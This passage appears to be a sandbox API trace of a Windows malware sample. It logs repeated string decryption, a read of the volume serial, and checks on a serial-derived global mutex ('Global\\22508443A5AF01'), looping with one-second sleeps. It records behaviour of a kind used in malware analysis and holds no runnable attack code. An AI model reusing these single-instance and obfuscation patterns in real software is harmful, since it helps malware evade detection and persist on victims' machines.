0x1d14a0 [0133.010] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8454d8) returned 1 [0133.010] CryptSetKeyParam (hKey=0x8454d8, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0133.010] CryptDecrypt (in: hKey=0x8454d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x20df6d8 | out: pbData=0x1d14a0, pdwDataLen=0x20df6d8) returned 1 [0133.010] CryptDestroyKey (hKey=0x8454d8) returned 1 [0133.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d14e8 [0133.010] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0133.010] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x94 [0133.010] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x0 [0133.011] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0133.011] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14e8 | out: hHeap=0x1d0000) returned 1 [0133.011] ReleaseMutex (hMutex=0x94) returned 1 [0133.011] CloseHandle (hObject=0x94) returned 1 [0133.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad1ffe, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94 [0133.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14a0 [0133.012] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8454f8) returned 1 [0133.012] CryptSetKeyParam (hKey=0x8454f8, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0133.012] CryptDecrypt (in: hKey=0x8454f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x20df6a4 | out: pbData=0x1d14a0, pdwDataLen=0x20df6a4) returned 1 [0133.012] CryptDestroyKey (hKey=0x8454f8) returned 1 [0133.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14c8 [0133.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14f0 [0133.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1518 [0133.012] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8454f8) returned 1 [0133.012] CryptSetKeyParam (hKey=0x8454f8, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0133.013] CryptDecrypt (in: hKey=0x8454f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1518, pdwDataLen=0x20df67c | out: pbData=0x1d1518, pdwDataLen=0x20df67c) returned 1 [0133.013] CryptDestroyKey (hKey=0x8454f8) returned 1 [0133.013] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1518 | out: hHeap=0x1d0000) returned 1 [0133.013] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.013] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f0 | out: hHeap=0x1d0000) returned 1 [0133.013] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0133.013] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.014] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14c8 | out: hHeap=0x1d0000) returned 1 [0133.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d14a0 [0133.014] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8454f8) returned 1 [0133.014] CryptSetKeyParam (hKey=0x8454f8, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0133.014] CryptDecrypt (in: hKey=0x8454f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14a0, pdwDataLen=0x20df6d8 | out: pbData=0x1d14a0, pdwDataLen=0x20df6d8) returned 1 [0133.014] CryptDestroyKey (hKey=0x8454f8) returned 1 [0133.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d14e8 [0133.014] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0133.014] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x98 [0133.014] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x0 [0133.014] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14a0 | out: hHeap=0x1d0000) returned 1 [0133.015] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14e8 | out: hHeap=0x1d0000) returned 1 [0133.015] ReleaseMutex (hMutex=0x98) returned 1 [0133.015] CloseHandle (hObject=0x98) returned 1 [0133.015] Sleep (dwMilliseconds=0x3e8) [0134.197] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d16d0 [0134.197] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x851f00) returned 1 [0134.197] CryptSetKeyParam (hKey=0x851f00, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0134.198] CryptDecrypt (in: hKey=0x851f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6a4 | out: pbData=0x1d16d0, pdwDataLen=0x20df6a4) returned 1 [0134.198] CryptDestroyKey (hKey=0x851f00) returned 1 [0134.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d16f8 [0134.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d1720 [0134.198] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1748 [0134.198] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x851f00) returned 1 [0134.198] CryptSetKeyParam (hKey=0x851f00, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0134.198] CryptDecrypt (in: hKey=0x851f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1748, pdwDataLen=0x20df67c | out: pbData=0x1d1748, pdwDataLen=0x20df67c) returned 1 [0134.198] CryptDestroyKey (hKey=0x851f00) returned 1 [0134.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1748 | out: hHeap=0x1d0000) returned 1 [0134.199] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0134.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1720 | out: hHeap=0x1d0000) returned 1 [0134.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0134.199] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0134.199] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16f8 | out: hHeap=0x1d0000) returned 1 [0134.199] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d16d0 [0134.199] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x851f00) returned 1 [0134.199] CryptSetKeyParam (hKey=0x851f00, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0134.199] CryptDecrypt (in: hKey=0x851f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6d8 | out: pbData=0x1d16d0, pdwDataLen=0x20df6d8) returned 1 [0134.199] CryptDestroyKey (hKey=0x851f00) returned 1 [0134.200] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d1718 [0134.200] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0134.200] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0xf4 [0134.200] WaitForSingleObject (hHandle=0xf4, dwMilliseconds=0x0) returned 0x0 [0134.200] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0134.201] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1718 | out: hHeap=0x1d0000) returned 1 [0134.201] ReleaseMutex (hMutex=0xf4) returned 1 [0134.201] CloseHandle (hObject=0xf4) returned 1 [0134.201] Sleep (dwMilliseconds=0x3e8) [0135.304] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d16d0 [0135.304] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871b20) returned 1 [0135.305] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0135.305] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6a4 | out: pbData=0x1d16d0, pdwDataLen=0x20df6a4) returned 1 [0135.305] CryptDestroyKey (hKey=0x871b20) returned 1 [0135.305] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d16f8 [0135.305] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d1720 [0135.305] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1748 [0135.305] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871b20) returned 1 [0135.305] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0135.305] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1748, pdwDataLen=0x20df67c | out: pbData=0x1d1748, pdwDataLen=0x20df67c) returned 1 [0135.305] CryptDestroyKey (hKey=0x871b20) returned 1 [0135.306] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1748 | out: hHeap=0x1d0000) returned 1 [0135.306] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0135.306] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1720 | out: hHeap=0x1d0000) returned 1 [0135.307] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0135.307] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.307] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16f8 | out: hHeap=0x1d0000) returned 1 [0135.307] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d16d0 [0135.307] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871b20) returned 1 [0135.307] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0135.307] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6d8 | out: pbData=0x1d16d0, pdwDataLen=0x20df6d8) returned 1 [0135.307] CryptDestroyKey (hKey=0x871b20) returned 1 [0135.308] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d1718 [0135.308] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0135.308] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x238 [0135.308] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x0 [0135.308] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0135.309] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1718 | out: hHeap=0x1d0000) returned 1 [0135.309] ReleaseMutex (hMutex=0x238) returned 1 [0135.309] CloseHandle (hObject=0x238) returned 1 [0135.309] Sleep (dwMilliseconds=0x3e8) [0136.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d16d0 [0136.452] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871c20) returned 1 [0136.452] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0136.452] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6a4 | out: pbData=0x1d16d0, pdwDataLen=0x20df6a4) returned 1 [0136.452] CryptDestroyKey (hKey=0x871c20) returned 1 [0136.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d16f8 [0136.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d1720 [0136.452] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1748 [0136.452] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871c20) returned 1 [0136.452] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0136.452] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1748, pdwDataLen=0x20df67c | out: pbData=0x1d1748, pdwDataLen=0x20df67c) returned 1 [0136.452] CryptDestroyKey (hKey=0x871c20) returned 1 [0136.452] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1748 | out: hHeap=0x1d0000) returned 1 [0136.453] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0136.453] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1720 | out: hHeap=0x1d0000) returned 1 [0136.453] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0136.453] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0136.453] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16f8 | out: hHeap=0x1d0000) returned 1 [0136.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d16d0 [0136.453] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871c20) returned 1 [0136.453] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0136.453] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6d8 | out: pbData=0x1d16d0, pdwDataLen=0x20df6d8) returned 1 [0136.453] CryptDestroyKey (hKey=0x871c20) returned 1 [0136.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d1718 [0136.454] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0136.454] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x294 [0136.454] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x0) returned 0x0 [0136.454] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0136.454] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1718 | out: hHeap=0x1d0000) returned 1 [0136.454] ReleaseMutex (hMutex=0x294) returned 1 [0136.454] CloseHandle (hObject=0x294) returned 1 [0136.454] Sleep (dwMilliseconds=0x3e8) [0137.543] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d16d0 [0137.543] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871c20) returned 1 [0137.543] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0137.543] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6a4 | out: pbData=0x1d16d0, pdwDataLen=0x20df6a4) returned 1 [0137.543] CryptDestroyKey (hKey=0x871c20) returned 1 [0137.543] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d16f8 [0137.543] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d1720 [0137.543] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1d1748 [0137.543] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871c20) returned 1 [0137.543] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0137.543] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1748, pdwDataLen=0x20df67c | out: pbData=0x1d1748, pdwDataLen=0x20df67c) returned 1 [0137.543] CryptDestroyKey (hKey=0x871c20) returned 1 [0137.544] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1748 | out: hHeap=0x1d0000) returned 1 [0137.544] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0137.544] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1720 | out: hHeap=0x1d0000) returned 1 [0137.545] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0137.545] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.545] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16f8 | out: hHeap=0x1d0000) returned 1 [0137.545] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d16d0 [0137.545] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871c20) returned 1 [0137.545] CryptSetKeyParam (hKey=0x871c20, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0137.545] CryptDecrypt (in: hKey=0x871c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d16d0, pdwDataLen=0x20df6d8 | out: pbData=0x1d16d0, pdwDataLen=0x20df6d8) returned 1 [0137.546] CryptDestroyKey (hKey=0x871c20) returned 1 [0137.546] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d1718 [0137.546] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0137.546] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x29c [0137.546] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x0) returned 0x0 [0137.547] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d16d0 | out: hHeap=0x1d0000) returned 1 [0137.547] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1718 | out: hHeap=0x1d0000) returned 1 [0137.547] ReleaseMutex (hMutex=0x29c) returned 1 [0137.547] CloseHandle (hObject=0x29c) returned 1 [0137.547] Sleep (dwMilliseconds=0x3e8) [0138.697] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d17a8 [0138.697] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871b20) returned 1 [0138.698] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0138.698] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d17a8, pdwDataLen=0x20df6a4 | out: pbData=0x1d17a8, pdwDataLen=0x20df6a4) returned 1 [0138.698] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.698] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d1710 [0138.698] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d14d0 [0138.698] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.698] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871b20) returned 1 [0138.701] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0138.701] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0138.701] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.702] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.702] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d1710, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.702] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.702] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d17a8 | out: hHeap=0x1d0000) returned 1 [0138.703] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.703] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1710 | out: hHeap=0x1d0000) returned 1 [0138.703] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d14d0 [0138.703] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871b20) returned 1 [0138.703] CryptSetKeyParam (hKey=0x871b20, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0138.703] CryptDecrypt (in: hKey=0x871b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14d0, pdwDataLen=0x20df6d8 | out: pbData=0x1d14d0, pdwDataLen=0x20df6d8) returned 1 [0138.703] CryptDestroyKey (hKey=0x871b20) returned 1 [0138.704] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d1710 [0138.704] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0xcc [0138.704] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0x0) returned 0x102 [0138.704] CloseHandle (hObject=0xcc) returned 1 [0138.705] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.705] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1710 | out: hHeap=0x1d0000) returned 1 [0138.705] Sleep (dwMilliseconds=0x3e8) [0139.912] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d5460 [0139.912] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0139.912] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0139.912] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x20df6a4 | out: pbData=0x1d5460, pdwDataLen=0x20df6a4) returned 1 [0139.912] CryptDestroyKey (hKey=0x871820) returned 1 [0139.912] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5488 [0139.912] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d54b0 [0139.915] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0139.915] CryptImportKey (in: hProv=0x8450c0, 